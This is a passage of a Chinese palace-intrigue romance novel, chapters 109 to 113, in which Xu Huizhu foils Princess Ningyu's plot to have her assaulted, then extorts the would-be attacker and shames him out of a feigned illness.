灵韵县主只觉得心口处堵得慌,实在没心情应付那些围在她身边嗡嗡叫的“苍蝇”,抬眼看见往外走的一抹身影,心中惊喜,连忙跟上去。
“灵韵县主何故跟着我?”
“无双……无双公子?”灵韵县主捂着怦怦跳动的心口,脸颊泛红,连说话都结巴了。
“无双公子,你曾发誓此生不娶妻,何故为了徐念念违背誓言?她……她就那么好?”
“比上官西环还好?”
钱无双无语至极,“灵韵县主请自重,我的事,与旁人无关,亦不劳旁人操心。”
钱无双只差直白地说:灵韵县主,你管得太宽。
可惜,灵韵县主听不进去,她猛地上前,拽住钱无双的衣袖,深情道,“无双公子,求你娶我?”
“无双公子,难道你不知道吗?”
“这些年,我留在京城,就是为了你啊。”
“我已过双十年华,一个女子有几个双十年华?无双公子,你耽误了我,难道不该负责吗?”
“无双公子,我……我愿意为平妻,不不不,只要无双公子娶我,做妾也可……”
钱无双扯出衣袖,紧接着后退一步,与灵韵县主拉开距离,“灵韵县主请自重。”
“我将娶妻。”
“你我之间,绝无可能。”
话落,钱无双欲离开。
在姜夜沉回京之前,钱无双当之无愧为贵女最恨嫁的儿郎。
他的桃花,朵朵开遍京城。
灵韵县主不过是其中一朵烂桃花而已,从未入过钱无双的眼。
偏偏,灵韵县主自信了得,以为自己就是那朵开得最艳丽的桃花,于钱无双来说,定是格外不同。
“无双公子,你当真不愿娶我?”灵韵县主一边撕扯衣裙,一边威胁,“无双公子,我若喊叫,说无双公子欲行不轨之事,皇上定会为我做主,下一道赐婚旨意……”
**啪。
徐慧珠拍掌,“灵韵县主这么不要脸,着实让我们大开眼界。”
灵韵县主哪想到,徐慧珠领着一堆人藏在假山后面,欣赏她唱戏。
“徐慧珠,你……你竟敢算计我?”
第109章:她不该困在高墙大院里
“灵韵县主真是好笑。”
“敢问灵韵县主一句,我算计你什么?”
“我可曾持刀威胁你,逼迫你说那些不知羞耻的话?指使你勾引无双公子?还给你提前出主意,若勾引不成,便当众脱衣,赖上无双公子?”
徐慧珠先前打过灵韵县主,这回只是言语“羞辱”,已是极尽地主之谊。
谁敢欺她?自是十倍回敬。
她徐慧珠只吃美味佳肴,不吃亏。
“灵韵县主,你的不要脸,我甘拜下风。”
“我,脸皮薄,没你豁得出去......”
“徐慧珠,你...你?”灵韵县主满眼怒火,快要将自己烧着,却伤不到旁人分毫。
明温婉扑哧笑出声,如此大好机会,她自然不会放过嘲讽灵韵县主的机会。
“灵韵县主好教养,竟上赶着给人做妾,惨遭拒绝,无情嫌弃......要是传到临海王耳中,不知会不会气到呕血?临海王府其他贵女怕是婚嫁艰难。”
明温婉不喜灵韵县主,见面十有**回都是针锋相对。
灵韵县主看不惯明温婉自甘**,堂堂侯府贵女宁愿和徐念念那等残次货交好,也不愿讨好她县主之尊。
实属过分。
不能原谅。
如今,徐念念已是钱无双的未婚妻,可能在旁人眼里,以徐念念的身份高攀不上钱无双,但明温婉不这么认为,唯有她觉得徐念念好,好到钱无双配不上徐念念。
认亲宴上发生的事情很快传到皇帝耳中,皇帝大怒,命明温婉和明温安姐弟护送灵韵县主回东疆,待临海王教导好女儿规矩,再回京城。
皇帝借灵韵县主,警告临海王。
只因,这些年,临海王行事,越发过火,越发无度。
临海王的手,竟敢伸到皇上的锦衣卫里。
灵韵县主害怕的事情,还是发生了。
她千般不愿万般不甘离京城回东疆,可,皇后娘娘避而不见,命人来传口谕:灵韵县主带坏凝玉公主,是该重学规矩。
灵韵县主跪着求凝玉公主,却被凝玉公主赏赐两巴掌,骂一句:废物。
这东疆,灵韵县主不回也得回了。
至于,灵韵县主何时规矩学好,得“钦差”明温婉说了算。
明温安得到的另一层身份,是负责东疆的锦衣卫,姜夜沉的人,临海王有心动,也不敢轻举妄动。
如此,徐念念不必担心灵韵县主这个情敌在暗里使坏,唯有解决外患,才能全身心投入相府后宅的战斗中。
更重要的一点,明温婉姐弟也有合情合理的理由去东疆。
不过小小利用了一下钱无双的一箭双雕之计。
一连好几日,姜夜沉归府很晚。
慕容左岸指证明道成和察尔通勾结,意欲控制安国药材市场,但明道成抵死不认,慕容左岸又拿不出实质性的证据,锦衣卫一时定不得明道成的罪。
姜夜沉假意不着急,即便大皇子李明远施压,他就是不松口放了明道成,也不允任何人探监。
如姜夜沉所愿,明道成急了慌了。
“朝堂之上,大皇子三番五次公然为明道成说情,列举明道成为官政绩,甚至搬出明侯爷……”
“我原本以为明道成背后的主子是太子,不成想,竟是大皇子。”
“以大皇子的谨慎,只怕明道成一边利用察尔通,一边清理干净痕迹,就算慕容左岸攀咬,也查不出证据,真正的证据应该在大皇子的手里。”
徐慧珠接话,“大皇子目前不能动,但明道成必须死。”
只是,不等徐慧珠做好安排,慕容夫人寻上门,带着厚礼。
慕容夫人以为能指望得上明温婉,不成想,明温婉竟带上明温安“逃”去东疆。
等李大监来明侯府传旨,慕容夫人才知道,自己一双儿女背着她做下很多事情。
事成定局,慕容夫人又不敢欺君抗旨。
如今,明侯府成一盘散沙,娘家又日日登门吵闹,慕容夫人苦思冥想好几日,才想到厚颜求情徐慧珠。
毕竟,现下能给姜夜沉吹枕边风的,唯有徐慧珠。
慕容夫人打心底瞧不上徐慧珠,一个妾罢了,不知使何等手段哄着姜夜沉,给她“徐
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夫人”的体面。
若是温婉听她的劝,放下姿态以妾室入将军府,凭温婉的容貌和手段,轻松打压徐慧珠,三两年后当上将军夫人。
也大有可能。
都怪温婉那个死丫头,一身反骨......
“徐夫人,温婉临走前嘱咐,她和徐夫人情同姐妹,我若遇到难处,便来将军府寻徐夫人。”
“眼下......”
慕容夫人开门见山攀关系,说谎脸不红,这些话,明温婉绝不会说过,可见慕容夫人没少利用明温婉,早已娴熟、习惯。
“慕容夫人说得没错,因着念念,我认识温婉,一见如故。”
“慕容夫人今日登门,是遇到了难处?”
“难道说,温婉姐弟不在京城,别有用心之人趁机欺负您?”
“不知,慕容夫人可报官?”
慕容夫人迫不及耐想开染坊,徐慧珠便奉上各式颜料。
“是……是……”慕容夫人一时语塞,接不上徐慧珠的话。
正在这时,翠柳端着糕点入屋,“慕容夫人,请用茶点。”
“听阿爹说,慕容夫人喜好栗子酥,慕容夫人不妨尝尝,这道栗子酥可还是当年的味道。”
“奴婢翠柳侍奉慕容夫人……”
一盘刚出锅,还冒着热气的栗子酥递到慕容夫人的眼前。
“滚!我……我从来不吃栗子酥。”
慕容夫人听不得“栗子酥”,更见不得栗子酥,她抬手打翻在地,待看到翠柳的脸,失声尖叫。
“你……你是谁?”
“不不不,你阿爹是谁?”
慕容夫人面色灰青,早已忘记她来将军府的初衷。
“不不不,不可能,明道风**,**……**怎会复活?怎会生育女儿?”
慕容夫人生性胆小懦弱,本就是一株窝里横的墙头草,翠柳突然出现,再加上徐慧珠在一旁吓唬,轻松击垮慕容夫人的心理防线。
真相,倾泻而出。
隔日,慕容夫人陪着翠柳一纸诉状告到府衙,状告明道成科考舞弊,官身不正,弑兄夺名,叛国**……
第110章:相比于丧命,毁容不重要
人证物证俱在,这回,明道成插翅难逃。
皇帝亲笔御批,判决明道成**。
翠柳跪在地上,真心实意磕头谢恩,阿爹的仇恨和执念,若不是徐慧珠相助,她这一生只怕同阿爹一样,复仇渺茫。
“翠柳,这是你的**契,我从未想过让你留在我的身边,做一名奴婢。”
徐慧珠拿出**契,还给翠柳。
“夫人?”
翠柳摇头,“奴婢心甘情愿伺候夫人,求夫人不要赶奴婢走。”
徐慧珠扶起翠柳,当着翠柳的面,撕毁**契。
之前,她留下翠柳的**契,说的狠话,只为让她安心。
但在她的心里,从未当翠柳是奴婢。
翠柳这样的女子,只当她身边的奴婢,屈才又可惜,不该被困在高墙大院里。
“翠柳,还记得第一回在凤凰山见到你,我说过的话,小小的鱼庄困不住你,这偌大的将军府好是好,却不是你和小丫的家,你们的家,该在明侯府。”
“翠柳,你想一想小丫,她认祖归宗后,若无你的看顾和教导,她会被明侯府的那些人教成什么样?”
“还有,明温婉姐弟在东疆,京城的明侯府该由你和小丫来守护。”
“这是你阿爹的遗愿,你阿爹,他一直想回自己的家。”
明道成事定以后,姜夜沉难得向皇帝申请,他要休假。
大福带队守在将军府门口,不管谁登门,一概不见。
将军要和夫人培养夫妻感情,这么大的事情,容不得外人打扰。
“将军这是不想让我出门了?”
日上三竿,姜夜沉赖在床上,还得强行摁着徐慧珠作陪。
她是他的药引、陪睡,还是兄弟。
“我怕一出门,贵女们亲手扔菜叶子和臭鸡蛋砸我,骂我是祸害将军的狐媚子。”
“不如,我让外人都瞧清楚了,谁才是祸害人心的狐媚子?谁才是黏糊糊的糖果子?”
金夏站在院子里,抬头仰望天空,便觉得这将军府的天,格外清亮蔚蓝。
这才是主子盼望的生活,金夏的心,也跟着欢喜。
金夏暗暗发誓,此生不嫁,就守着主子过。
主子逍遥,她快活。
主子**,她磨刀。
屋内,徐慧珠还是说起翠柳,因着明道成做下的恶事曝光,翠柳和小丫姐妹恢复明侯府二房贵女的身份。
但,如今的明侯府失去明道成这个支柱,再加上一个脑子糊涂的慕容夫人,翠柳要想在明侯府站稳脚跟,得有所倚仗。
“我打算私下求一求襄王妃,带着翠柳一同学习规矩。将军可否也帮个忙,让小丫入宫做凝乐公主的伴读?”
“我的眼光不差,夫人果然人美心善。只是,夫人这般相帮翠柳姐妹,就不怕养出一只白眼狼来,有朝一日咬伤夫人,我会心疼的。”姜夜沉对翠柳姐妹无感,但翠柳看他的眼神……
“翠柳不是,我相信自己的眼光,不会差,不会错。”
原来,姜夜沉也发现了,发现翠柳悄悄又隐忍地爱慕着他。
不同于凝玉公主,徐慧珠觉得翠柳这朵桃花,不至于是姜夜沉的烂桃花。
爱美之心人皆有之,只能说翠柳眼光极好。
再说,翠柳打小生活在鱼庄,她所见识的好男人,除了她阿爹,姜夜沉是第二个。
徐慧珠是帮了翠柳姐妹,但追其根源,她们的恩人是姜夜沉。
她欣赏翠柳,心里也就乐意容忍。
当然,徐慧珠有私心,她放翠柳自由,也是给翠柳机会。
这世上,男子那么多,翠柳终会遇见她的良人,到那时,她会明白,爱慕不等于情动。
消息传到皇宫,凝玉公主拿起剪刀,咔嚓剪碎绣衣坊刚送来的嫁衣。
十多名绣娘熬夜赶制月余、价值千金的奢华嫁衣,不一会儿功夫,成为一地碎片。
“本宫不嫁。”
凝玉公主满心怒火,剪完嫁衣仍不解气,“本宫发过誓,此生只嫁姜夜沉。”
“本宫一定要得到姜夜沉。”
“一定要一定要!”
初香跪在地上,看着华丽嫁衣变成碎片,仿佛一地被撕碎的银票,心疼死她了。
凝玉公主若不喜欢这套嫁衣,赏给她该多好,为何要毁坏呢。
凝玉公主时常发誓,恐怕她自个儿都不记得发过多少誓,又违背多少誓,得不到渐成执念,再成心魔。
“公主殿下息怒,万不能气坏身子啊,皇上已下赐婚旨意,您和叶世子的亲事已定……”
初香小心翼翼劝着,她恨不能寻个地缝钻进土里,可皇后娘娘下令,凝玉公主要是把腹中孩儿折腾没了,伺候凝玉公主的奴才,一个别想活命。
初香想不明白,凝玉公主已和叶世子有了夫妻之实不说,她还怀了身孕,不嫁给叶世子,还能带着叶世子的血脉嫁给大将军吗?
“贱婢,连你也敢嘲笑本宫?”凝玉公主
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扔出剪刀,初香吓得脸色发白,任由剪刀划破她的脸颊。
初香的脸,毁了。
她不敢躲,只能生生承受凝玉公主的怒火。
相比于丧命,毁容不重要。
“奴婢该死。”
“奴婢该死。”
“公主殿下您的手,受疼了。”
“都是奴婢的错,都是奴婢的错。”
初香忍着脸颊的巨痛,砰砰磕头,一下又一下,不敢停。
“公主殿下明鉴,奴婢……奴婢忠心耿耿,一心为您着想啊。”
“奴婢……奴婢觉得大将军心里有您,都怪徐夫人,不不不,徐慧珠就是个上不得台面的贱妾,哪能称为夫人。”
“徐慧珠定给大将军灌了**汤,挑拨公主殿下您和大将军的关系……才让大将军对您产生了误会。”
“奴婢……奴婢的意思,您假意应下和叶世子的亲事,这样皇上就不会派人盯着您的一举一动。”
“您就能腾出手除掉徐慧珠,解开您和大将军的误会……然后,您和大将军有情人终成眷属,双宿**,白头偕老。”
果然,初香是懂得如何劝说凝玉公主,说到凝玉公主的心坎上。
“好了,别磕了,脏了本宫的香凝殿。”
凝玉公主满眼嫌弃,不过,心里赞同初香的说法,和她想的一样。
她和姜夜沉之间先是生出误会,又横着徐慧珠那个**。
如果徐慧珠消失,她再放下身份,服一服软,以柔情感动姜夜沉,一如当年,他终究会同意娶她。
“是是是,奴婢该死,不该脏了公主殿下的地方,奴婢……奴婢这就清理干净。”
初香紧绷的身子,终于敢放松一下了。
这一关,过了。
她的命,再次暂且保住。
“滚下去,先清理干净自己,别让旁人以为,是本宫苛待宫人,坏了本宫的名声。”
“公主殿下温柔良善,是天下最好的主子,奴婢……奴婢能伺候公主殿下,是奴婢的福气。”这些恭维的话,初香说过无数遍,昧着良心久了,她已失去本心,成为一个无心之人。
初香还未跨过门槛,凝玉公主的声音再次响起,初香身体不受控噗通跪在地上,“公主殿下?”
“本宫让你跪了吗?”凝玉公主抚上平坦的小腹,眼里尽是冷意,“**贱命。”
“哼!”
“初香,你悄悄出宫一趟,抓一包上好的堕胎药......”
第111章:世子的作用就是南风馆的男侍
“初香,本宫提醒过你,小心行事。”
“若是被母后发现,本宫就说你和护卫偷情怀上孽种,到时母后按宫规处置你,本宫不会救你。”
“**活该。”
初香只觉得一股凉意由内而外袭卷全身,“公主殿下,这……这?”
万幸,皇后娘娘来得刚刚好。
“凝玉,你任性够了!”
啪。
皇后娘娘何尝不知,她再惯着纵着凝玉公主,定会闯下大祸。
“母后,您打我?”凝玉公主捂着脸颊,眼神倔强,丝毫不觉得自己有错。
她,何错之有。
她,尊贵无双的嫡公主,从未错过。
皇后娘娘叹息一声,软和了语气,“凝玉你糊涂啊。”
“叶文瑞是世子,叶侯爷和叶夫人也是好相处的性情,最为关键的是,叶文瑞心里有你,他爱你疼你,便会把你当作绝世珍宝捧在手里。”
“凝玉,你嫁给叶文瑞,夫妻恩爱,生儿育女,富足安康过一生,这样的生活,是多少女子期盼的啊。”
“凝玉,听母后的,别再想着姜夜沉了,他不爱你……”
如徐慧珠所猜测的那样,凝玉公主不觉得自己失去清白是什么事,她没了清白,姜夜沉不能人道,他们就更对等了。
她只想和他谈谈情,说说爱。
得不到姜夜沉,她会一点一点疯掉。
她的人生,将会失去意义。
在安国,流传一种风俗,女子在定亲后,得去一趟寺庙,虔诚地向菩萨许愿,菩萨会佑夫妻琴瑟和鸣,恩爱长久。
京城女子常去大平寺,若有幸遇见玄空大师,得其批命,便能提前窥探命数的天机。
听闻在外游历的玄空大师归来,徐念念相约徐慧珠去大平寺碰碰运气。
正巧,徐慧珠也想去一趟大平寺。
她信命,更信自己。
玄空大师曾在她出生时批命,二十岁之前不能嫁人,不然克夫克己。
因着这样的命格,没有哪家儿郎敢求娶她。
她曾怨怼过玄空大师,她克夫克己不知,但玄空大师绝对是她的命中克星。
直到她知晓自己身体里藏着的秘密,她隐约觉得玄空大师应该与娘亲相识,明面上为她批的命格不好,实则为保护她。
可惜,徐慧珠从未见到过玄空大师。
“慧珠姐姐,你说,我们能不能见到玄空大师?”
“听娘亲说,玄空大师不仅能批命格,还拥有未卜先知之能,救过皇上和元乐长公主的性命呢。”
徐念念满心欢喜拜菩萨,求菩萨佑她的姻缘,也希望能见到传说中的玄空大师,她想求玄空大师窥探天机,泄露钱无双的命格。
那个命中注定原本不该属于她的男子,她想要帮一帮他。
走出阴霾。
“想见玄空大师的人太多,估计我们排不上队。不过,玄空大师接下来的一年时间都留在大平寺,即便闭关,总能想法子见上一面。”
两人正说着话,马车突然停下,徐慧珠看见叶文瑞的时候,有些意外。
凝玉公主想她死的心,还真是顽强。
金夏凑过来,低声禀报,“夫人,叶世子带了四人,他们身上散发的是死侍气息,以二敌五,难有胜算。”
徐慧珠听懂金夏话里的意思,以二敌五,不是没有胜算,而是要同时护徐念念和婢女阿宁周全,就难了。
“慧珠姐姐,是……是叶文瑞?”徐念念吓得脸色惨白。
“都怪我大意,没想到府里的车夫早被人收买,慧珠姐姐,是我害了你。”
徐慧珠握住徐念念的手,“念念,现在不是追究谁对谁错的时候,我们不能和叶文瑞硬碰硬,唯有拖延时间。”
“今日上山下山人多,这条路虽然偏僻,但也通往大平寺,未必不会有人走。”
“关键时候,仗钱无双的势。”
徐慧珠在叶文瑞的注视下,走下马车,“叶世子已抱得美人归,如愿当上驸马爷,怎么?这般感谢你的恩人?叶世子恩将仇报,良心喂了狗啊。”
叶文瑞眼里闪烁慌张,又想起凝玉公主的保证,“叶文瑞,你去破徐慧珠的身,然后把赤身裸体的徐慧珠扔到大平寺的香客面前,本宫就考虑应下同你的婚事,做你的妻。”<
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br>“叶文瑞,你也不想本宫心存郁结,影响腹中胎儿吧。”
其实,叶文瑞不明白的是,凝玉公主为何非得坚持让他玷污徐慧珠?
他不乐意。
凝玉公主不信他,还派了四名死侍跟着,说是保护他的安危,实则监视他吗?
他的确存了旁的心思,打算让死侍代劳,四名死侍轮番上阵,徐慧珠承受不住**,岂不是一了百了,再也不会惹凝玉公主生气。
人是他下令害的,却不是他直接动手,那么,他的手仍保持干净,亦能为凝玉公主守身如玉。
叶文瑞很快说服自己,硬下心肠,眼神染上杀意。
“徐慧珠,果然是你算计凝玉公主,你……你这个毒妇。”
叶文瑞得了便宜,反倒怪罪旁人,他这样的蠢货,活该做凝玉公主的忠狗,被凝玉公主利用殆尽。
“动手。”叶文瑞突然下令。
徐慧珠原本想着搬出姜夜沉,再不行由徐念念仗一回相府的势,她再言语刺激挑拨叶文瑞和凝玉公主之间的关系……只为拖延时间。
万万没想到,叶文瑞不按常理出牌,好像很着急完成任务,好回去邀功。
徐慧珠迅速做出应对之策,“金夏,你驾马车带念念先跑,去找人救我。”
“叶文瑞的目标是我……”
徐慧珠正是了解凝玉公主的变态心思,再加上叶文瑞的出现,她便想通凝玉公主一箭双雕之计的真相。
凝玉公主逼迫叶文瑞**她,为的是姜夜沉暴怒休了她,也为凝玉公主能理直气壮甩掉叶文瑞这个累赘。
凝玉公主毁亲,好嫁给意中人。
果然,是凝玉公主能想出来的一箭双雕毒计。
“夫人?”
“慧珠姐姐?”
徐慧珠吼道,“快走。”
金夏憋回眼泪,翻身上了马车,执鞭狠狠抽在马背上,“驾。”
“快追。”叶文瑞急得跺脚。
死侍不动,其中一名说道,“主子有令,解决徐慧珠为先,叶世子莫中了对方的调虎离山计。”
“叶世子,人是您的了,请享用......”
第112章:死不瞑目又如何?
很明显,叶文瑞指挥不动这四名死侍。
“叶世子,你还看不明白吗?”
“凝玉公主早就交待他们,要全程盯着你**我,只怕在凝玉公主的贵眼里,你的作用就是南风馆的男侍……”
南风馆的男侍?
叶文瑞只觉得脑袋轰地一声,炸了。
偏偏,先前开口说话的那名死侍还在催促,“叶世子,莫耽搁时间,回头公主殿下要是知道叶世子犹豫不决,会生气的。”
叶文瑞心里不愿承认,他狠狠瞪向徐慧珠,“**,是你逼我的……”
四名死侍冷眼旁观,他们自以为不必出手,对付一个后宅夫人,焉用牛刀。
徐慧珠等的就是死侍轻视,盼的就是叶文瑞靠近。
擒贼先擒王。
待叶文瑞反应过来,徐慧珠手里的**已抵在他的腰部,到底是养尊处优的贵公子,皮肤娇嫩,轻轻一用力,就划破皮囊,鲜血直流。
“叶世子,我极少**,手法不够娴熟,若叶世子不听话乱动,导致我手里的****你的腰。”
“听说,这个部位是人的肾脏所在,若伤到,日后无力行床笫欢乐……你说,怪我,还是怪你?”
“叶世子,你的心上人,凝玉公主怕是会嫌弃你的。”
“不能人道呀......”
四名死侍齐齐变了脸色,拨出长剑,指向徐慧珠,“找死。”
徐慧珠冷笑,“杀我?
“你们敢吗?”
徐慧珠手里的**又往进送了一分,叶文瑞这个蠢货,就得给他放放血,方能清醒。
“你们是凝玉公主的人,该清楚她的性情,她要叶文瑞先**我,待我被姜夜沉休弃后再弄死我,而你们敢违背她的命令,会是什么下场?”
四名死侍眼神一滞,杀意褪去。
凝玉公主让人三更淹死,绝不允许那人五更上吊。
“当然,我好心帮你们想了另一个法子,那就是杀了叶世子,由你们代劳叶世子行事,再把叶世子的死推到我的身上……”
四名死侍你看我,我看你,眼里透着疑惑。
不可否认,徐慧珠奉献的是一条又毒又坏又能用的妙计。
“你们……你们敢?”生死面前,叶文瑞的理智总算灵性一回。
“大胆,我马上就是驸马爷,也是你们的主子,你们敢以下犯上,叛主杀主?”
眼见四名死侍步步紧逼,叶文瑞满眼震惊,事已至此,他还有什么不明白的。
他全心全意爱慕着凝玉公主,但在凝玉公主的心里,他的感情比草贱。
他,迟早成为弃子。
这时,徐慧珠感受到一股熟悉的气息,隐匿在暗处。
有人在看戏。
会是谁?
叶文瑞会武,却是花架子,恐惧之下,他竟向徐慧珠求救,“徐夫人,救……救我。”
“十万两。”徐慧珠趁机敲诈一笔。
叶文瑞咬牙应下,“成交。”
徐慧珠大喊道,“看戏的英雄,五万两,买您出手。”
徐慧珠感受到的气息没差,就是恰巧奉皇命来大平寺请玄空大师的护龙卫统领曹文。
曹文心惊,徐慧珠是唯一让他泄露气息的女子。
下一瞬,一张鬼面具如闪电穿梭,四名死侍来不及拔剑,已断了气息。
死不瞑目又如何?
徐慧珠大松一口气,她赌对了。
徐慧珠转身看向瘫软在地的叶文瑞,她麻利从叶文瑞身上撕下两块锦布,接着抓起叶文瑞的手,用**划破他的手指。
“叶世子,写!”
曹文好不容易稳定的气息,又凌乱了。
“写……写什么?”叶文瑞任由徐慧珠“胡作非为”,手指的疼痛抵不过心伤。
“十万两啊。”徐慧珠手里的**已抵住叶文瑞的脖颈,“要不要我帮叶世子再放点血,好清醒一二。”
叶世子不敢反抗,只得满心**地写下两张欠条。
待叶文瑞写完,徐慧珠不给他喘息的机会,一掌拍晕。
“慧珠谢过曹统领的救命之恩,两张欠条,你我一人一半,请曹统领笑纳。”徐慧珠福礼,递给他其中一张欠条。
这种感觉,好像两人刚打家劫舍完,就分赃?
曹文皱眉,“你认得我?”
徐慧珠摇头,“自是没见过曹统领的真实容颜,但我听将军说过,护龙卫统领以鬼面具示人,一身武功出神入化,除过当今皇上,无人见其面容,无人知其身份。”
说实话,徐慧珠心里还是有些怕的,曹文忠心于皇帝,会不会偏帮凝玉公主?
她只得仗一回姜夜沉的势,希望曹文能有所顾忌,不会杀她灭口。
冷汗浸湿里衣,徐慧珠面上还得强作淡定,“曹统领贵人事忙,可先行一步,我的婢女去接钱无双的未婚妻徐念念,很快就来了。”
“今日之事,牵涉到凝玉公主,我……我不过是将军府的妾室,人微言轻,却也怕死,还望曹统领保密。”
不是徐慧珠心善不计较,不管怎么说,她性命无虞,还借此敲诈叶文瑞十万两银子,又成功挑拨离间……说来,
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是她占了便宜。
徐慧珠很是期待,凝玉公主若失去叶文瑞这个忠狗备胎,她是否能承受住叶文瑞心碎后的报复。
有时候,男人的心,更伤不得。
曹文深深看了一眼徐慧珠,从怀里取出一包药粉,撒在四名死侍的身上,转瞬功夫,化作一滩臭水。
尸骨无存。
“夫人?”听到熟悉的声音,徐慧珠紧绷的神经才真正放松。
金夏搬来的救兵,是姜夜沉。
等徐慧珠回过神来,哪还有曹文的身影。
“曹文救了你?”姜夜沉冷着一张脸,当他得知徐慧珠出事之时,才发现自己的心,又慌又乱。
万幸,徐慧珠没事。
不然,他觉得自己定会失控,要让整座叶侯府和凝玉公主陪葬。
他被自己的可怕念头吓到了,明明才新婚不久,她对他来说,已无比重要了吗?
“将军如何知道?”徐慧珠原本也没打算瞒着是曹文救了她,不过,她已支付丰厚报酬,算作两清吧。
“我闻到了化尸水的气味,在安国,唯有曹文能炼制出化尸水。”
大平寺是没心情去了,马车回城,直奔叶侯府。
敲诈这种事,徐慧珠也是头一回干,心下忐忑,好在有姜夜沉相陪,她的底气还是足的。
见礼过后,徐慧珠说明来意,“今日将军陪我去大平寺祈福,路遇叶世子遭匪徒围杀,将军出手救了叶世子。”
“可,叶世子执意要给银子,以答谢将军的救命之恩,这?”
姜夜沉接话,“本将军并非挟恩投抱之人,但叶世子似乎非常抗拒本将军,亦不愿欠下本将军的人情,这一点,本将军……理解。”
“为了让叶世子安心,这银子,本将军只能受之不恭了。”
叶侯府夫妇对视一眼,信了姜夜沉的话。
演戏得全套,为了效果逼真,徐慧珠吩咐金夏趁叶文瑞昏迷不醒,暴揍他一顿,保证他没个一月休养,羞于出门见人。
叶文瑞受了皮肉伤和惊吓,再加上普神医开的强效安神丸,叶文瑞至少得昏睡一天一夜。
待他醒来,姜夜沉和徐慧珠已编完故事,谅他也不敢到处嚷嚷,他是奉凝玉公主的命令去害人。
叶文瑞是蠢,但不至于蠢的不可救药。
徐慧珠从荷包里取出欠条,心里不禁震惊,她明明分赃给曹文一张欠条好封他的口,何时又回到她的手里?
她竟毫无觉察。
曹文是什么意思?
单纯看不上五万两?还是......
第113章:叫不醒一个装睡的人,就打醒
曹文何意?
他看不上五万两银子?还是只收现银?
“十……十万两?”
叶侯爷倒不是怀疑欠条有假,但这数量着实惊到他。
姜夜沉清了清嗓子,一本正经撒谎,“叶侯爷误会了。”
“本将军今日登门,一是送叶世子,二是说明情况,三是归还欠条。”
“本将军绝无挟恩讨要银子之意,救叶世子性命不过举手之劳,哪能索要酬劳?”
“实在是叶世子非要给银子,唉,本将军也是为难啊。”
叶侯爷哪敢说一句十万两银子太多的话,叶文瑞是什么德性,叶侯爷还能不知?
唉,这辈子怕是栽在凝玉公主的身上,救无可救。
两人前脚刚回将军府,叶侯府的管事后脚就送来银票,好话说了一箩筐央求姜夜沉收下。
假意推辞一番,十万两银票就落入徐慧珠的私房。
“要是叶文瑞醒来,告诉叶侯爷真相……”徐慧珠还是有一点点担心。
“就算叶文瑞扛着不说,叶侯爷很快也会知晓真相,这个亏,他们得心怀感激吃下。”
“夫人,是为夫的错,让你身陷危险......”
这一夜,徐慧珠被姜夜沉禁锢在怀里,她听着他的心跳,感受到他的不安。
徐慧珠命金夏留心叶侯府的动静,她费一番功夫挑拨离间叶文瑞和凝玉公主,自然盼着有所收获。
“夫人,您在用午膳啊,正巧,奴婢禀报一喜事,权当作下饭佐料了。”大清早的,金夏满脸喜色,走路带风。
“叶侯府出事了,不,应该说是叶文瑞病了,病得严重,叶侯爷先是一连三日请太医看诊,后又请院正大人……”
“夫人,您说,是不是叶文瑞做了恶事,菩萨看不惯,要惩罚他?”
“要奴婢说啊,叶文瑞活该,奴婢诅咒他长长久久病下去……”
徐慧珠心下了然,叶文瑞伤不在身,在于心,他得了心病,就是请来整个太医院的太医,怕也开不出药到病除的药方。
“夫人,我们得去一趟叶侯府。”姜夜沉推开门,瞧见徐慧珠放下碗筷,他径直坐到她身旁,端起她用过的碗,拿起她用过的筷子,在她震惊目光注视下,消灭掉一桌剩菜。
“将军?”想说的话卡在喉咙里,徐慧珠倒一杯清茶放在他的手旁。
“难道是叶文瑞当真犯蠢告诉叶侯爷十万两银票的真相?”徐慧珠见识过叶文瑞的蠢,也不惊讶他做出更蠢的事。
姜夜沉摇头,“叶侯爷亲自相请普神医为叶文瑞看诊,结果和太医相同,心病并无良方,唯有自愈。”
“叶侯爷以为叶文瑞的心病源于匪徒劫杀,又求我开解一二。”
两人到叶侯府时,看到面容憔悴的叶侯爷和夫人,一说叶文瑞,叹着气,眼圈通红。
徐慧珠曾经羡慕**月,有爱她入骨的李氏。如今又羡慕叶文瑞,有疼他入心的双亲。
徐慧珠羡慕旁人添一分,恨徐从德浓十分,若不是徐从德的自私凉薄,娘亲就不会死,她还会有一个弟弟或妹妹,亦不会偷偷羡慕旁人。
普神医复诊,还是摇头,“叶世子强行把自己困在他的世界里,不愿清醒?”
“为今之计,得先找出叶世子心病的病源,再想法子化解心魔,外力只能辅助,良药是他的意念。”
“宜早不宜迟,心病拖得太久,可能病成失魂症,人一旦失魂,就彻底无救。”
叶夫人又哭了一场,“我可怜的儿啊。”
叶侯爷九分心疼一分气恼,那一分气恼缘于叶文瑞生在武将世家,不就是遭遇一回匪徒劫杀,还被姜夜沉相救,何故吓成这样?
着实丢脸。
叶侯爷想得更多,叶文瑞能肩负整个侯府的未来吗?
叶文瑞不醒,只喝得下去汤药,普神医根据叶文瑞的身体情况调整了药方,又和叶侯爷、叶夫人交待如何日常护理……
内室,徐慧珠看着躺在床榻上的叶文瑞,越看越来气,明明容颜不差,家势显赫,怎地是个“瞎子”。
“将军,让我试试。”
徐慧珠心里已想到办法,叫不醒一个装睡的人,
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打醒呢?
“夫人请。”姜夜沉给予充分信任。
徐慧珠走到床榻边,附身下去,凑到叶文瑞的脸。
啪。
“叶文瑞,你仗着叶侯爷叶夫人爱你疼你护你容你,往死里作。”
“你那么爱凝玉公主,爱到把自己变成一个作恶多端的混蛋。”
“你躺在床榻自怨自艾自怜,将自个儿折腾的凄惨,凝玉公主不会来看你一眼,还会在自己的华丽宫殿里一边摔瓷器一边咒骂你是无能废物。”
啪。
又是一巴掌。
“叶文瑞,我若是你,就麻利从床榻上爬起来,狠狠报复凝玉公主,她可以不爱你,可以不理你,可以冷着一张高傲的脸拒绝你,但绝不能践踏、利用你的情意,脏了这份爱情……”
站在一旁的姜夜沉,安静看着徐慧珠行事,他不懂她为何对叶文瑞心软?
“将军,告诉普神医一声,再给叶文瑞三日时间,他还执念不醒,就给他服药,帮他在睡梦中死去。”
徐慧珠叹气,“对叶侯爷、叶夫人来说,中年丧子是剧痛,也好过这种绝望的长痛。”
“叶文瑞……他不配拥有这么慈爱的双亲。”
徐慧珠的心软和杀意,唯有姜夜沉能懂,
“听夫人的。”
夜里,叶夫人握住叶文瑞的手,又哭一场。
“夫人,普神医都说了,你再哭下去,眼睛会瞎的啊。”叶侯爷的叹息,一声比一声重。
他实在想不明白,他倾尽心力教导的侯府继承人,就因为一场匪徒劫杀,毁了吗?
